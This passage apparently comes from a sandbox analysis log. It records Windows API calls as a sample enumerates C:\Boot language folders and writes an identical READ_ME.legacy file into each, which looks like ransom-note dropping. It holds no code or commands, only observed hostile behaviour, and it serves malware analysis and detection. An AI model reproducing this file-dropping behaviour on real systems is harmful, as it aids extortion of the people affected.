(HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x540a78 [0082.290] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0082.290] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.290] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.290] GetLastError () returned 0x0 [0082.290] SetLastError (dwErrCode=0x0) [0082.290] GetLastError () returned 0x0 [0082.290] SetLastError (dwErrCode=0x0) [0082.290] GetLastError () returned 0x0 [0082.291] SetLastError (dwErrCode=0x0) [0082.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563de8 [0082.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563e60 [0082.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563f00 [0082.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0082.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d090 [0082.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.291] GetLastError () returned 0x0 [0082.291] SetLastError (dwErrCode=0x0) [0082.291] GetLastError () returned 0x0 [0082.291] SetLastError (dwErrCode=0x0) [0082.291] GetLastError () returned 0x0 [0082.291] SetLastError (dwErrCode=0x0) [0082.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.291] CreateFileW (lpFileName="\\Boot\\nb-NO\\READ_ME.legacy" (normalized: "c:\\boot\\nb-no\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.292] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.292] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.293] CloseHandle (hObject=0x458) returned 1 [0082.294] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.294] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d090 | out: hHeap=0x520000) returned 1 [0082.294] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0082.294] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563f00 | out: hHeap=0x520000) returned 1 [0082.294] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0082.294] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.294] GetLastError () returned 0x0 [0082.294] SetLastError (dwErrCode=0x0) [0082.294] GetLastError () returned 0x0 [0082.294] SetLastError (dwErrCode=0x0) [0082.294] GetLastError () returned 0x0 [0082.294] SetLastError (dwErrCode=0x0) [0082.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563ed8 [0082.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563f00 [0082.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563e10 [0082.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d090 [0082.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0f0 [0082.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.294] GetLastError () returned 0x0 [0082.294] SetLastError (dwErrCode=0x0) [0082.294] GetLastError () returned 0x0 [0082.294] SetLastError (dwErrCode=0x0) [0082.295] GetLastError () returned 0x0 [0082.295] SetLastError (dwErrCode=0x0) [0082.295] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.295] CreateFileW (lpFileName="\\Boot\\nl-NL\\READ_ME.legacy" (normalized: "c:\\boot\\nl-nl\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.295] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.295] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.296] CloseHandle (hObject=0x458) returned 1 [0082.296] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.297] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0f0 | out: hHeap=0x520000) returned 1 [0082.297] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d090 | out: hHeap=0x520000) returned 1 [0082.297] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563e10 | out: hHeap=0x520000) returned 1 [0082.297] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0082.297] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.297] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.297] GetLastError () returned 0x0 [0082.297] SetLastError (dwErrCode=0x0) [0082.297] GetLastError () returned 0x0 [0082.297] SetLastError (dwErrCode=0x0) [0082.297] GetLastError () returned 0x0 [0082.297] SetLastError (dwErrCode=0x0) [0082.297] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563e10 [0082.297] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563a50 [0082.297] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563a00 [0082.297] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d190 [0082.297] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0082.297] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.297] GetLastError () returned 0x0 [0082.297] SetLastError (dwErrCode=0x0) [0082.297] GetLastError () returned 0x0 [0082.297] SetLastError (dwErrCode=0x0) [0082.297] GetLastError () returned 0x0 [0082.298] SetLastError (dwErrCode=0x0) [0082.298] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.298] CreateFileW (lpFileName="\\Boot\\pl-PL\\READ_ME.legacy" (normalized: "c:\\boot\\pl-pl\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.298] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.298] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.299] CloseHandle (hObject=0x458) returned 1 [0082.300] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.300] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0082.300] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d190 | out: hHeap=0x520000) returned 1 [0082.300] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563a00 | out: hHeap=0x520000) returned 1 [0082.300] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0082.300] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.300] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.300] GetLastError () returned 0x0 [0082.300] SetLastError (dwErrCode=0x0) [0082.300] GetLastError () returned 0x0 [0082.300] SetLastError (dwErrCode=0x0) [0082.300] GetLastError () returned 0x0 [0082.300] SetLastError (dwErrCode=0x0) [0082.300] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563c08 [0082.300] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563ac8 [0082.300] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563a28 [0082.300] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0082.300] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d090 [0082.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.301] GetLastError () returned 0x0 [0082.301] SetLastError (dwErrCode=0x0) [0082.301] GetLastError () returned 0x0 [0082.301] SetLastError (dwErrCode=0x0) [0082.301] GetLastError () returned 0x0 [0082.301] SetLastError (dwErrCode=0x0) [0082.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.301] CreateFileW (lpFileName="\\Boot\\pt-BR\\READ_ME.legacy" (normalized: "c:\\boot\\pt-br\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.302] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.302] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.303] CloseHandle (hObject=0x458) returned 1 [0082.304] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.304] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d090 | out: hHeap=0x520000) returned 1 [0082.304] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0082.304] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563a28 | out: hHeap=0x520000) returned 1 [0082.304] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0082.304] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.304] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.304] GetLastError () returned 0x0 [0082.304] SetLastError (dwErrCode=0x0) [0082.304] GetLastError () returned 0x0 [0082.304] SetLastError (dwErrCode=0x0) [0082.304] GetLastError () returned 0x0 [0082.304] SetLastError (dwErrCode=0x0) [0082.304] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563b18 [0082.304] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563c58 [0082.304] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563a00 [0082.304] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d090 [0082.304] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1d0 [0082.304] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.304] GetLastError () returned 0x0 [0082.304] SetLastError (dwErrCode=0x0) [0082.304] GetLastError () returned 0x0 [0082.304] SetLastError (dwErrCode=0x0) [0082.304] GetLastError () returned 0x0 [0082.305] SetLastError (dwErrCode=0x0) [0082.305] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.305] CreateFileW (lpFileName="\\Boot\\pt-PT\\READ_ME.legacy" (normalized: "c:\\boot\\pt-pt\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.305] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.305] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.306] CloseHandle (hObject=0x458) returned 1 [0082.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1d0 | out: hHeap=0x520000) returned 1 [0082.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d090 | out: hHeap=0x520000) returned 1 [0082.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563a00 | out: hHeap=0x520000) returned 1 [0082.307] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0082.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.307] GetLastError () returned 0x0 [0082.307] SetLastError (dwErrCode=0x0) [0082.307] GetLastError () returned 0x0 [0082.307] SetLastError (dwErrCode=0x0) [0082.307] GetLastError () returned 0x0 [0082.307] SetLastError (dwErrCode=0x0) [0082.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563cd0 [0082.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563ca8 [0082.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563cd0 | out: hHeap=0x520000) returned 1 [0082.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ca8 | out: hHeap=0x520000) returned 1 [0082.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563aa0 [0082.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563b40 [0082.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563938 [0082.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d250 [0082.308] GetLastError () returned 0x0 [0082.308] SetLastError (dwErrCode=0x0) [0082.308] GetLastError () returned 0x0 [0082.308] SetLastError (dwErrCode=0x0) [0082.308] GetLastError () returned 0x0 [0082.308] SetLastError (dwErrCode=0x0) [0082.308] CreateFileW (lpFileName="\\Boot\\qps-ploc\\READ_ME.legacy" (normalized: "c:\\boot\\qps-ploc\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.308] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.308] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.309] CloseHandle (hObject=0x458) returned 1 [0082.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0082.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d250 | out: hHeap=0x520000) returned 1 [0082.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563938 | out: hHeap=0x520000) returned 1 [0082.310] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83c8cd5, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb83c8cd5, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb83c8cd5, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0082.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.310] GetLastError () returned 0x0 [0082.310] SetLastError (dwErrCode=0x0) [0082.310] GetLastError () returned 0x0 [0082.310] SetLastError (dwErrCode=0x0) [0082.310] GetLastError () returned 0x0 [0082.310] SetLastError (dwErrCode=0x0) [0082.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563a28 | out: hHeap=0x520000) returned 1 [0082.310] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0082.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.310] GetLastError () returned 0x0 [0082.310] SetLastError (dwErrCode=0x0) [0082.310] GetLastError () returned 0x0 [0082.310] SetLastError (dwErrCode=0x0) [0082.310] GetLastError () returned 0x0 [0082.310] SetLastError (dwErrCode=0x0) [0082.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563d48 | out: hHeap=0x520000) returned 1 [0082.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563938 | out: hHeap=0x520000) returned 1 [0082.310] GetLastError () returned 0x0 [0082.310] SetLastError (dwErrCode=0x0) [0082.310] GetLastError () returned 0x0 [0082.311] SetLastError (dwErrCode=0x0) [0082.311] GetLastError () returned 0x0 [0082.311] SetLastError (dwErrCode=0x0) [0082.311] CreateFileW (lpFileName="\\Boot\\Resources\\READ_ME.legacy" (normalized: "c:\\boot\\resources\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.313] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.314] CloseHandle (hObject=0x458) returned 1 [0082.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d120 | out: hHeap=0x520000) returned 1 [0082.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d140 | out: hHeap=0x520000) returned 1 [0082.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563b90 | out: hHeap=0x520000) returned 1 [0082.314] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0082.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.314] GetLastError () returned 0x0 [0082.314] SetLastError (dwErrCode=0x0) [0082.314] GetLastError () returned 0x0 [0082.314] SetLastError (dwErrCode=0x0) [0082.314] GetLastError () returned 0x0 [0082.314] SetLastError (dwErrCode=0x0) [0082.314] GetLastError () returned 0x0 [0082.315] SetLastError (dwErrCode=0x0) [0082.315] GetLastError () returned 0x0 [0082.315] SetLastError (dwErrCode=0x0) [0082.315] GetLastError () returned 0x0 [0082.315] SetLastError (dwErrCode=0x0) [0082.315] CreateFileW (lpFileName="\\Boot\\ro-RO\\READ_ME.legacy" (normalized: "c:\\boot\\ro-ro\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.327] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.327] CloseHandle (hObject=0x458) returned 1 [0082.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0a0 | out: hHeap=0x520000) returned 1 [0082.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d190 | out: hHeap=0x520000) returned 1 [0082.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563cf8 | out: hHeap=0x520000) returned 1 [0082.328] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0082.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.328] GetLastError () returned 0x0 [0082.328] SetLastError (dwErrCode=0x0) [0082.328] GetLastError () returned 0x0 [0082.328] SetLastError (dwErrCode=0x0) [0082.328] GetLastError () returned 0x0 [0082.328] SetLastError (dwErrCode=0x0) [0082.329] GetLastError () returned 0x0 [0082.329] SetLastError (dwErrCode=0x0) [0082.329] GetLastError () returned 0x0 [0082.329] SetLastError (dwErrCode=0x0) [0082.329] GetLastError () returned 0x0 [0082.329] SetLastError (dwErrCode=0x0) [0082.329] CreateFileW (lpFileName="\\Boot\\ru-RU\\READ_ME.legacy" (normalized: "c:\\boot\\ru-ru\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.330] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.330] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.331] CloseHandle (hObject=0x458) returned 1 [0082.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d250 | out: hHeap=0x520000) returned 1 [0082.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0082.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563b90 | out: hHeap=0x520000) returned 1 [0082.331] FindNextFileW (in: hFindFile=0x552de0, 